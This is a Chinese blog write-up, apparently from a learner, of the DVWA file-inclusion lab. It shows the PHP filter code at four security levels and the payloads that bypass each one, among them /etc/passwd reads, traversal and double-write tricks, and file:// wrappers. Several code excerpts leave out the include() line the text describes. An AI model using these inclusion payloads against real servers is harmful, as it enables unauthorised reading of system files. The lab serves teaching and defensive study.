dvwa-file-inclusion

有些 web 应用程序允许用户指定直接文件流的输入,或允许用户将文件上载到服务器。稍后 web 应用程序访问 web 应用程序上下文中用户提供的输入。通过这样种操作,web 应用程序允许恶意文件执行。
如果选择要包含的文件是目标计算机上的本地文件,则称为“本地文件包含(LFI)”。但是文件也可能包含在其他机器上,这样的攻击就是“远程文件包含(RFI)”。

请求页面

1691911280888

http请求

页面有三个文件按钮,这里以file1.php为例吧

1
GET /vulnerabilities/fi/?page=file1.php HTTP/1.1

#响应页面
页面显示了 用户名IP address
1691911789840

low

源码

page 参数没有任何过滤,然后直接被 include 包含进来,造成文件包含漏洞的产生。

1
2
3
4
5
6
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

攻击思路

  • 本地文件包含(绝对路径或者相对路径,注意不同平台的/和\)
    • page=/etc/passwd
    • page=../../hackable/flags/fi.php
  • 远程文件包含 page=http://www.baidu.com/robots.txt
  • 其他伪协议:
    • php://
    • data://
    • file://

攻击结果

medium

源码

源码如下,代码增加了 str_replace 函数对 page 参数进行了过滤。
将 “http://”、“https://”替换为空阻止远程包含漏洞,将“../”、“..\” 替换为空阻止用相对路径访问文件。

1
2
3
4
5
6
7
8
9
10
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );

?>

攻击思路

  • 嵌套双写
    • page=hhttps://ttps://www.baidu.com/robots.txt
    • page=..././..././hackable/flags/fi.php
  • 绝对路径仍然没有过滤
    • page=/etc/passwd

high

源码

开发者已经受够了,他们决定只允许使用某些文件。但是由于存在多个具有相同基名的文件,因此它们使用通配符将它们全部包括在内。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>

攻击思路

代码里面要求 page 参数的开头必须是 file,但是实在太巧合了,我们依然可以利用 file 伪协议读取到文件内容。

  • page=file:///etc/passwd

impossible

学习了学习了!瞧黑板!

源码

直接白名单了相当于,就这几个文件可以包含。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>

总结

为了更好地使用代码的重用性,可以使用文件包含函数将文件包含进来,直接使用文件中的代码来提高重用性。但是这也产生了文件包含漏洞,产生原因是在通过 PHP 的函数引入文件时,为了灵活包含文件会将被包含文件设置为变量,通过动态变量来引入需要包含的文件。此时用户可以对变量的值可控,而服务器端未对变量值进行合理地校验或者校验被绕过,就会导致文件包含漏洞。常用的文件包含函数有 include()、include_once()、require()、require_once()。
包含漏洞分为本地包含和原创包含 2 类,当包含的文件在服务器本地时,就形成了本地文件包含。文件包含可以包含任意文件,被包含的文件可以不是 PHP 代码,可以是文本或图片等。只要文件被包含就会被服务器脚本语言执行,如果包含的文件内容不符合 php 语法,会直接将文件内容输出。例如下面这段简易的代码:

1
2
3
4
<?php
$file = $_GET['file'];
include($file);
?>

当包含的文件在远程服务器上时,就形成了远程文件包含。所包含远程服务器的文件后缀不能与目标服务器语言相同,远程文件包含需要在 php.ini 中设置:

1
2
allow_url_include = on(是否允许 include/require 远程文件)
allow_url_fopen = on(是否允许打开远程文件)

dvwa-file-inclusion
http://blog.lingyuanming.site/2022/06/04/dvwa-file-inclusion/
作者
LYM
发布于
2022年6月4日
许可协议